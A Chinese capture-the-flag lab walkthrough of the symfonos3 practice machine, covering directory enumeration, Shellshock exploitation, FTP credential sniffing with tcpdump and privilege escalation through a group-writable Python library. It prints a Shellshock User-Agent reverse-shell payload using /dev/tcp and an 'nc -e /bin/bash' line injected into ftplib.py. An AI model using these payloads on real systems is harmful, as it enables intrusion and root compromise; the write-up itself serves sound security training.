从目录枚举到bash破壳漏洞、从流量抓包到组权限提权:靶机练习之symfonos3

信息搜集

复制代码
nmap -sT --min-rate 10000 192.168.8.8 -p-

ftp/ssh/web80,经典 的三个端口

复制代码
nmap -sT -sC -sV -O 192.168.8.8 -p21,22,80 -o ports 

ftp的这个版本似乎是有文件复制的漏洞

web渗透

gobuster扫描

先扫了一波敏感文件,只出了一个gate目录

复制代码
gobuster dir -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php

进一步目录扫描,仍然只出了一个目录

复制代码
gobuster dir -u http://192.168.8.8/gate/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php

dirsearch递归扫描

因为目录一层一层的出来,这边考虑尝试直接用递归扫描

复制代码
dirsearch -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,bak,php -r --deep-recursive

结果一样仍然只有一个目录

dirb扫描

换个工具再试一下呢

复制代码
dirb http://192.168.8.8

有不同的结果,扫出了cgi-bin,字典中其实都是包含的,这是为什么呢

复制代码
  ┌───────────┬──────────────────────────┬─────────────────────────┐
  │   工具    │       目录测试方式       │ 能发现 ScriptAlias 目录 │
  ├───────────┼──────────────────────────┼─────────────────────────┤
  │ dirb      │ 自动补 / 测试            │ 能                      │
  ├───────────┼──────────────────────────┼─────────────────────────┤
  │ gobuster  │ 不补 /,依赖服务端 301   │ 不能                    │
  ├───────────┼──────────────────────────┼─────────────────────────┤
  │ dirsearch │ 不补 /(默认),依赖 301 │ 不能                    │

简单用curl测试一下。不带/就会404了,确实是这个原因

目前得到了一个403的目录,dirb继续扫了一下发现没有结果

这边转头就换了,gobuster,因为它配置大字典扫的更快,

复制代码
gobuster dir -u http://192.168.8.8/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php

果然有隐藏目录,打开发现似乎是一个脚本,执行了uptime的命令,可以查看时间和服务器状态

kali本机中也有相应的程序

nikto扫描

走到这一步仍然没有特别明晰的思路,于是尝试让nikto做一个web扫描

复制代码
nikto -h http://192.168.8.8/cgi-bin/underworld

爆了一个cve的漏洞,是shellshock,bash破壳漏洞

复制代码
() { :; }; echo; /usr/bin/id

burp抓包发送payload

成功命令执行

反弹shell

复制代码
User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.8.11/4444 0>&1'

linpeas提权靶机敏感信息

因为没有找到太多有用的信息,这边先用linpeas提权一下关键信息

发现靶机有抓包工具tcpdump

流量包抓取分析

因为ftp是明文传输,而靶机上面正好也有tcpdump抓包的环境,所以这边进行抓包分析

对外的网卡是ens33

复制代码
tcpdump -i ens33 -w ftp.pcap -c 10000
#这边可以指定数据包数量,防止需要中断抓包导致反弹shell断联

ens33网卡数据包没有关于ftp的数据,ftp可能是内部lo网卡通信

复制代码
tcp.port == 21
复制代码
tcpdump -i lo -w ftp.pcap

泄露了密码账号密码hades/PTpZTfU4vxgzvRBE

成功登录hades 的ftp

提权

凭证复用

这边直接尝试用刚才的凭证登录ssh,也是直接成功登录

因为抓包的时候发现ftp一直在内部通信,所以尝试先找一下这个程序运行的位置

复制代码
find / -name ftp* 2>/dev/null

找到这个ftp,应该是定期做服务的状态监测

它导入了一个ftplib的

组权限提权

执行id命令的时候发现,hades有gods的组权限

查找有1002组权限的文件、文件夹

复制代码
find / -name ftp -group 1002 -type f 2>/dev/null
复制代码
find / -group 1002 -type d 2>/dev/null

发现1002拥有整个python2.7库的组权限

这时候再查找一下ftplib的权限

复制代码
ls -liah ftplib*

确实是有gods的组权限
那就简单了直接再fptlib.py尾部追加payload

复制代码
import os
os.system("nc -e /bin/bash 192.168.8.11 4444")

同步开启反弹shell接收,等待片刻

成功提权

小结一下

复制代码
靶机的难度是中级到hard之间,打下来感觉还是有难度的。从一开始的目录枚举,就有很多坑要踩,不同的目录扫描工具扫描策略其实是有侧重的,dirb会对目录和文件双重扫描,gobuster扫的更快等等;然后就是nikto针对web指纹的扫描还是比较好用的,也是识别到了bash破壳漏洞;linpeas作为linux后渗透工具也是经常会用到,这个算是常规思路;tcpdump流量包抓取ftp流量,也是要mark的,因为ftp它是明文传输,只要能抓包就能拿到账号密码;最后的组权限提权,也是一个非常经典的案例,通过在组权限的python库文件注入payload,拿到root
相关推荐
meng半颗糖1 小时前
3.Java流程控制语句
java·开发语言·intellij-idea
影寂ldy1 小时前
C# WinForm 三种自定义控件 + 完全自定义重绘控件知识点
开发语言·c#
学逆向的1 小时前
汇编——寻址方式
开发语言·汇编·网络安全
大模型码小白1 小时前
企业级检索增强后端集成:Java 服务如何管理知识库版本
java·服务器·开发语言·人工智能·python·microsoft
-银雾鸢尾-1 小时前
C#中的Dictionary相关方法
开发语言·c#
农村小镇哥2 小时前
Python3开发快速获取图片的文字
开发语言·python
geovindu2 小时前
go:Backtracking Algorithm
开发语言·后端·算法·golang·回溯算法
lzhdim2 小时前
C# 中读取CPU、硬盘和内存温度
开发语言·c#
Irene19912 小时前
Oracle PL/SQL Developer 版本差异(11g、14)实战总结
java·开发语言